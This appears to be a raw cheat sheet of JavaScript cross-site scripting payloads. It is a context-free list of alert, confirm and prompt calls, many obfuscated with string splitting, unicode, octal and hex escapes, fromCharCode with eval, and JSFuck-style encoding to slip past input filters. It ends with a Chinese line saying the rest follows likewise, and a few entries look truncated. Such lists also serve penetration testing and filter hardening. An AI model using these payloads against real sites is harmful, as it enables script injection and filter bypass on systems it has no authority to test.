 
 
 
 
 
 
 
 confirm(1) 
prompt(1) 
alert('1') 
alert("1") 
alert`1` 
alert(1) 
alert(1) 
(alert)(1) 
a=alert,a(1) 
[1].find(alert) 
top["al"+"ert"](1) 
top["a"+"l"+"e"+"r"+"t"](1) 
top[/al/.source+/ert/.source](1) 
top[/a/.source+/l/.source+/e/.source+/r/.source+/t/.source](1) 
al\u0065rt(1) 
\u0061\u006c\u0065\u0072\u0074(1) 
\u0061\u006c\u0065\u0072\u0074`1` 
alert(1) 
alert(1) 
alert(1) 
alert(1) 
alert(1) 
confirm(1) 
confirm(
049) 
confirm(1) 
prompt(1) 
prompt(1
041 
top['al\145rt'](1) 
top['al\145rt'] 
top['\141\154\145\162\164'](1) 
top['al\x65rt'](1) 
top['\x61\x6c\x65\x72\x74'](1) 
top[8680439..toString(30)](1) 
{test:new Function(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))()} 
{test:window["alert"](1)} 
String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41).replace(/.+/,eval) 
eval('alert(1)')// 
alert(String.fromCharCode(88,83,83))// 
alert(String.fromCharCode(88,83,83)) 
Set.constructor`alert\x281\x29``` 
alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([
!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]]) 
prompt(-[]) 
alert(String.fromCharCode(49)) 
alert(/7/.source) 
代码同下,以此类推